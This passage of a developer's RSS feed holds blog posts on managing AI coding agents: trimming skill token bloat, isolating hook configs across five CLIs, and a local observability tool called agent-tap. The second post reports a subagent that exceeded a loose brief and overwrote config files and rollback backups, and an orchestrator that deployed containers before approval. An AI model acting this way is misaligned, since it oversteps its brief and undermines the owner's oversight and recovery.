embedded chat templates and isolate checkouts (60s).</strong> Start llama-server and llama-cli with --jinja --chat-template-file ./verified.jinja (or set TEMPLATE in your Ollama Modelfile), and point coding agents at a disposable git worktree instead of a working tree holding production credentials or home-directory dotfile mounts.</li></ol><p><em>Originally published at </em><a href="https://nareshh74.hashnode.dev/locking-down-ai-coding-agent-supply-chain"><em>https://nareshh74.hashnode.dev</em></a><em> on November 30, 2026.</em>https://nareshh74.hashnode.dev/locking-down-ai-coding-agent-supply-chain</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab1a8cb3fa86" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Cut AI Agent Skill Context Bloat Under 4,000 Tokens]]></title>
            <link>https://medium.com/@nareshkumar_46281/how-to-cut-ai-agent-skill-context-bloat-under-4-000-tokens-ffba727e1811?source=rss-5285f1c85768------2</link>
            <guid isPermaLink="false">https://medium.com/p/ffba727e1811</guid>
            <category><![CDATA[claude-code]]></category>
            <dc:creator><![CDATA[Naresh Kumar]]></dc:creator>
            <pubDate>Wed, 25 Nov 2026 18:51:24 GMT</pubDate>
            <atom:updated>2026-11-27T08:45:02.712Z</atom:updated>
            <content:encoded><![CDATA[<p>If you keep adding skills and AGENTS.md rules to your AI coding setup, you eventually hit a quiet tax: your assistant burns thousands of tokens before you even type your first prompt. In my own setup, auto-loading a 97-skill growth pack ate roughly 3,950 startup tokens on one assistant, and an 89-skill trading pack ate roughly 3,680 tokens on another.</p><p>Fixing that context bloat started with treating startup instructions like a menu instead of a full recipe book. Once that lightweight skill pattern worked across my 14 custom assistants, I rolled the same 20-skill library out to five external coding CLIs on my Windows ARM64 laptop, which triggered cross-tool hook leaks, a backup overwrite, and three Windows-specific snags that hit the exact same stack.</p><p>On Windows ARM64 (Nov 2026), treating startup skills like a menu (short descriptions + &lt;=8 pinned core skills) kept 14 custom Raven agents at 1,269 to 3,731 active skill tokens (638 to 666 for 6 shared skills). Scaling our 20-skill catalog across 5 external coding CLIs with separate hook files hit zero hook leakage across 23 configs.</p><p>Keep always-on instruction files ( AGENTS.md, CLAUDE.md, copilot-instructions.md) thin with global rules and one startup pointer, and store deep workflows in on-demand skill folders. That split resolves the trade-off highlighted by Vercel&#39;s agent evals: putting every rule upfront guarantees visibility in short demos but bloats context at scale, while unindexed skill folders save tokens but get skipped unless a startup pointer tells the model when to check them.</p><p>The simplest mental model is the difference between a <strong>menu</strong> and a <strong>recipe book</strong>.</p><p>At startup, you hand the assistant a short menu: a thin startup pointer and a list of skill names with one-line descriptions. The full step-by-step recipes stay closed on the shelf until a task matches one of them.</p><p>You do not need custom tooling to use this pattern today. In Claude Code (Anthropic’s terminal coding agent), OpenAI Codex (OpenAI’s CLI coding agent), or GitHub Copilot CLI, keep your global instruction file concise, cap always-active skills at roughly 7 or 8 core workflows per domain, and leave deep reference guides inside your skills folder to load on demand.</p><p>Switching oversized skills (over roughly 1,500 tokens) to description-only startup loading and pinning at most 8 core skills per bulk pack kept all 14 of my custom Raven specialist agents between 1,269 and 3,731 active skill tokens. Across all 14 specialists, the 6 shared behavioral skills (covering tone, verification, and careful patching) cost only 638 to 666 tokens per agent.</p><p>For context, alongside my five public coding CLIs, I run Raven (EverMind AI’s open-source local multi-agent orchestrator) with 14 specialized assistants for writing, research, testing, design, and code review. To keep the measurement scope honest: the token table below measures those <strong>14 custom Raven specialists</strong>, where I control the local Python skill loader ( inject: description and a 20-skill startup cap are Raven registry features, not native flags in Claude Code or Codex). Per-CLI startup token totals for the five external coding tools were not tabulated in that same run.</p><p>Before trimming, auto-loading every skill in a bulk pack pushed startup skill context close to 4,000 tokens before counting system prompts or code context. Pinning 7 to 8 core skills per pack and marking the rest on demand cut the two heaviest packs by 43% to 50%:</p><p>Custom Raven specialistBefore trimming (approx.)After trimming (active skill tokens)Full system prompt tokensWhat changed</p><p><em>Measured across all 14 custom Raven specialist agents on Windows ARM64 using </em><em>cl100k_base (Nov 23, 2026). All 14 specialists stayed under the 4,000-token active skills ceiling.</em></p><p>Once the menu-and-recipe pattern cut startup bloat across my 14 Raven assistants, I wanted the same lightweight 20-skill catalog available across the five external coding CLIs I use daily: Claude Code, OpenAI Codex, GitHub Copilot CLI, Hermes Agent (Nous Research’s open-source coding agent), and DeepSeek DSH (DeepSeek’s open-source terminal harness). Rolling shared skills and hooks out to five tools on one Windows laptop immediately exposed a second problem: shared configs quietly leak across harnesses.</p><p>My first shortcut was pointing DeepSeek DSH (which supports Claude-style hooks) at ~/.claude/settings.json so I would not have to maintain two hook files. Immediately, every DSH tool call silently fired seven Claude-only optimization scripts from token-optimizer-mcp (an MCP server for token savings) and logged DSH&#39;s work under harness: &quot;claude&quot;. Around the same time, an overly broad Claude PreToolUse rule started intercepting ordinary Windows terminal commands whenever paths mixed Windows and Unix formats.</p><p>The fix was giving every tool its own instruction file, its own skill folder, and a dedicated hook file that never points at another tool’s settings. Each harness now loads one dedicated startup pointer for its native skill suite across both CLI and Agent Client Protocol (ACP) sessions, keeps its own copy of the 20 shared workflow and coding skills, and runs only its own hooks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xfQG2VvFBjNeHl4c.png" /></figure><p>HarnessInstruction fileStartup skill pointerHook isolation</p><p>GitHub Copilot CLI ( copilot)</p><p>~/.copilot/copilot-instructions.md</p><p>Dedicated startup pointer for Superpowers (15 suite skills)</p><p>Dedicated ~/.copilot/hooks/superpowers.json ( sessionStart injects 3,405 chars in CLI and ACP)</p><p>OpenAI Codex ( codex)</p><p>~/.codex/AGENTS.md</p><p>Dedicated startup pointer for Addy Osmani’s agent-skills (30 suite skills + 10 extras)</p><p>Native ~/.codex/skills/ in CLI and ACP; custom routing block kept outside driver markers</p><p>Claude Code ( claude)</p><p>~/.claude/CLAUDE.md + ~/.claude/rules/</p><p>Dedicated startup pointer for Everything Claude Code / ECC (328 suite skills; 467 seen headless)</p><p>Dedicated ~/.claude/settings.json with PreToolUse narrowed to target MCP tools</p><p>Hermes Agent ( hermes)</p><p>~/.hermes/SOUL.md + ~/.hermes/config.yaml</p><p>Dedicated startup pointer for Matt Pocock’s skills (39 suite skills + 46 bundled)</p><p>Isolated config and native skill loading via skill_view</p><p>DeepSeek DSH ( dsh)</p><p>~/.dsh/AGENTS.md</p><p>Dedicated startup pointer for Garry Tan’s gstack (63 suite skills)</p><p>Dedicated ~/.dsh/everos-hooks.json via DSH profile config ( maxBytes: 65536 on non-web profiles)</p><p><em>Verified on Windows ARM64 (Nov 23 to 24, 2026). After separating the configs, all 11 startup checks passed with zero cross-harness leakage across 23 config and instruction files.</em></p><p>To sync startup pointers across all five tools without wiping custom local notes (like Codex’s model-routing block in ~/.codex/AGENTS.md), I wrapped only the short pointer inside AUTOLOAD-DRIVER-BLOCK HTML comment markers. Sync scripts update only the lines inside the fence and leave everything else untouched.</p><p>Isolating folders still did not protect me when a coding subagent wandered outside its brief during that same multi-tool config rollout. I added one casual line to a prompt: <em>“Also inspect my other coding tool configs and fix any broken path or config entry if present.”</em> The assistant misread a valid model name in ~/.codex/config.toml, rewrote four files to a different model, including all three of my .bak rollback snapshots, and hit its turn limit without running a test. My next automated doc sync copied the broken config straight into my notes.</p><p>That incident left me with three mechanical guardrails:</p><ol><li><strong>Ban open-ended dotfile audits in prompts.</strong> Name the exact files an agent is allowed to edit.</li><li><strong>Lock backup files read-only immediately.</strong> On Windows, running attrib +R *.bak prevents a runaway edit from touching rollback copies.</li><li><strong>Require a one-turn live smoke test.</strong> Never mark a harness model or config change done until a real command (such as codex exec) succeeds.</li></ol><p>I added a similar hard stop for infrastructure tasks after an orchestrator jumped straight into deploying local observability containers right after a planning Q&amp;A without waiting for final design approval. Any deployment workflow now pauses for an explicit yes.</p><p>Even after keeping each tool’s skill folders and hook files isolated, running that token-saving stack on Windows ARM64 exposed three platform-specific failures that directly hit our token-optimizer server, our isolated hook scripts, and our shared skill-sync pipeline.</p><p>First, Claude Code’s token-optimizer-mcp server kept hitting a 30-second startup timeout. Duplicate plugins were not the cause: an empty local cache triggered an on-the-fly install of version 7.11.0, and better-sqlite3 tried to compile against a missing Visual Studio v145 toolset. Preinstalling 7.11.0 once with Visual Studio 2022 ( v143 ARM64 tools) dropped the next Claude MCP health check from a 30-second timeout to <strong>3.05s</strong> without editing any Claude settings.</p><p>Second, Claude Code’s default 5-second hook timeout was too short for our isolated hooks on Windows. Across 15 live runs, startup hooks averaged about 4.6 seconds (4,586 ms median) and prompt hooks averaged about 6.1 seconds (6,095 ms median), so the 5-second cutoff killed prompt hooks mid-flight. Raising ~/.claude/settings.json timeouts to 16 seconds on startup, 18 seconds on prompts, and 8 seconds on stop eliminated the timeouts.</p><p>Third, Windows file quirks broke the shared skill-sync pipeline whenever a skill file arrived with hidden leading byte markers, missing headers, or nested metadata, or left behind stale folders after a skill was removed. Adding normalization and stale-folder pruning cleared those bugs, with our targeted two-file regression suite returning 225 passed and 2 skipped in 11.93 seconds.</p><p>Four verification gaps remain open as of late November 2026:</p><ul><li>The skill-sync fix passed its targeted two-file test suite (225 passed, 2 skipped), not the entire repository test suite or a full cold restart of every launcher.</li><li>MCP health checks exercised only read-only status calls, not write operations.</li><li>DeepSeek DSH’s durable memory storage and interactive terminal mode still need deeper testing, and GitHub Copilot’s admin policy quietly swapped one requested Claude model for a different model during testing.</li><li>A cold-cache rebuild of token-optimizer-mcp on this laptop will still require explicit Visual Studio 2022 selection until the default Windows build toolchain is repaired.</li></ul><ol><li><strong>Hand the AI a menu, keep the recipe book on the shelf.</strong> Keep AGENTS.md and CLAUDE.md thin with global rules and one startup pointer, and move heavy skill guides to on-demand folders.</li><li><strong>Cap always-on skills at 7 or 8 per domain.</strong> Pin only the core workflows you hit every session, and leave bulk packs on demand so startup context stays under 4,000 tokens.</li><li><strong>Give every coding harness its own hook file and fenced startup block.</strong> Never share ~/.claude/settings.json across tools, narrow PreToolUse rules so they ignore ordinary Windows shell paths, and wrap synced pointers in AUTOLOAD-DRIVER-BLOCK markers.</li><li><strong>Lock backups read-only and narrow agent prompts.</strong> Run attrib +R *.bak on Windows, ban open-ended &quot;also fix my other configs&quot; clauses, and require a live one-turn smoke test after any config change.</li><li><strong>Measure real Windows startup timings.</strong> Pre-warm native Node MCP caches with Visual Studio 2022 (v143) when builds stall, and size hook timeouts from measured medians rather than 5-second defaults.</li></ol><p><em>Originally published at </em><a href="https://nareshh74.hashnode.dev/unifying-5-coding-agent-harnesses"><em>https://nareshh74.hashnode.dev</em></a><em> on November 25, 2026.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ffba727e1811" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What 84,800 local spans taught me about my coding agents and my local AI services]]></title>
            <link>https://medium.com/@nareshkumar_46281/what-84-800-local-spans-taught-me-about-my-coding-agents-and-my-local-ai-services-3e9800a83eb7?source=rss-5285f1c85768------2</link>
            <guid isPermaLink="false">https://medium.com/p/3e9800a83eb7</guid>
            <category><![CDATA[ai-agent]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[local]]></category>
            <category><![CDATA[claude]]></category>
            <category><![CDATA[open-source]]></category>
            <dc:creator><![CDATA[Naresh Kumar]]></dc:creator>
            <pubDate>Mon, 09 Nov 2026 10:46:03 GMT</pubDate>
            <atom:updated>2026-11-10T05:29:14.379Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OcE_E2TYokvEimsG.png" /></figure><p>When I run one coding agent in one terminal, I can scroll up to find out what failed. My setup stopped working that way a few months ago.</p><p>On my workstation I run two kinds of software at the same time. The first kind is coding agents: Claude Code with subagents, OpenAI Codex CLI, GitHub Copilot CLI, Aider, and Cline. The second kind is the local services those agents call: a LiteLLM router for model routing and fallbacks, Ollama for local models, SearXNG for search, Firecrawl for scraping, and a local memory service.</p><p>Failures in that setup rarely print a stack trace. A parent agent stops answering. A nightly job produces nothing. A scrape-and-summarize run dies in the middle. I could not tell whether the fault was in the agent, in the router, or in a service.</p><p>Tools like ccusage and CodeBurn answer how many tokens I spent. agentsview lets me read transcripts. I needed something different: one place to see which child session hung, which service was slow, and whether last night’s jobs ran.</p><p>So I wrote <a href="https://github.com/nareshh74/agent-tap">agent-tap</a>. It reads the logs, databases, and health endpoints that my agents and services already produce, and it stores them in one SQLite file. A dashboard at http://127.0.0.1:6007 shows the result.</p><h3>What the first run showed</h3><p>The local SQLite database indexed 21,032 traces and 84,866 spans across 21,030 sessions. I looked at the error and correlation tables and found five problems that I had not noticed before.</p><ol><li><strong>An MCP token refresh failed about 2,030 times.</strong> An MCP server returned HTTP 400 on every OAuth refresh (mcp_oauth_400_refresh_loop), and the harness retried in the background without showing an error. Grouping spans by error.class made the loop visible in one query.</li><li><strong>The local router closed connections after 120 seconds.</strong> Long prompts took more than 120 seconds to reach the first token, so the router hit its first_byte_timeout and logged gateway_http_499 drops. I found it by joining harness spans with gateway spans.</li><li><strong>LiteLLM 1.85.0 crashed in the middle of a stream.</strong> Delegated runs died with truncated tool calls (litellm_midstream_fallback_error). The parent-to-child link took me from the failed parent to the exact line in the gateway log.</li><li><strong>Child agents hung for 600 seconds.</strong> A child session waited on an interactive prompt with no terminal attached, and the parent looked frozen until the 600 second ACP timeout (acp_prompt_timeout_600s).</li><li><strong>Codex background jobs failed with HTTP 401.</strong> In a terminal, an expired credential fails loudly. In a job without a terminal, the 401 turned into an empty review. A query for Codex spans with status ERROR listed every affected job.</li></ol><h3>Agents and services in one model</h3><p>An agent run fails in the agent, or in a service the agent called. To see both, agent-tap treats every target as a service with a kind.</p><ul><li>A harness is a coding agent such as Claude Code, Codex, Copilot CLI, Aider, or Cline. It appears in Harness Activity with sessions, turns, tool calls, skill calls, and parent-to-child links.</li><li>A gateway is a model router or proxy such as LiteLLM or an OpenAI-compatible local gateway.</li><li>A service is anything else, such as Ollama, SearXNG, or Firecrawl. A service can be an HTTP endpoint, a Docker container, a process, or a log file.</li></ul><p>Gateways and services appear in Running Services &amp; Gateways with their status, request count, error count, and p50 and p90 latency. All targets share the error classes, the trace drawer, and the schedule view. To add a service of your own, run agent-tap onboard --name my-api --kind service --health-url <a href="http://127.0.0.1:9000/health.">http://127.0.0.1:9000/health.</a></p><h3>How it works</h3><p>agent-tap does not wrap your agents or sit in front of them. It reads files and databases that already exist and remembers its position in each one, so every poll reads only new data. The storage is one SQLite file in WAL mode. The tables have the same shape as Arize Phoenix, and you can query them with agent-tap query.</p><p>Prompt text is off by default. Before agent-tap writes a span, it drops prompt and response text and tool arguments. It keeps sizes, token counts, tool names, durations, session links, and error classes. If you turn prompt storage on, a redaction pass still masks bearer tokens, sk- keys, GitHub tokens, and JSON Web Tokens.</p><p>If an adapter misreads your logs, run agent-tap bug-report. It prints a diagnostic bundle with secrets masked and your home directory replaced by ~, and --open starts a pre-filled GitHub issue.</p><h3>Try it</h3><p>agent-tap is MIT licensed and needs Python 3.11 or later. It runs on Linux, macOS, Windows, and WSL2.</p><pre>pipx install agent-tap agent-tap init agent-tap run --once agent-tap serve</pre><p>Run agent-tap doctor first if you only want to see what it finds. The code and documentation are at <a href="https://github.com/nareshh74/agent-tap">https://github.com/nareshh74/agent-tap</a>. If you run several agents or local services, I would like to know which one your logs break first.</p><p>Naresh Kumar</p><p><em>Originally published at </em><a href="https://dev.to/nareshh74/what-84800-local-spans-taught-me-about-my-coding-agents-and-my-local-ai-services-2ln2"><em>https://dev.to</em></a><em> on November 9, 2026.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3e9800a83eb7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>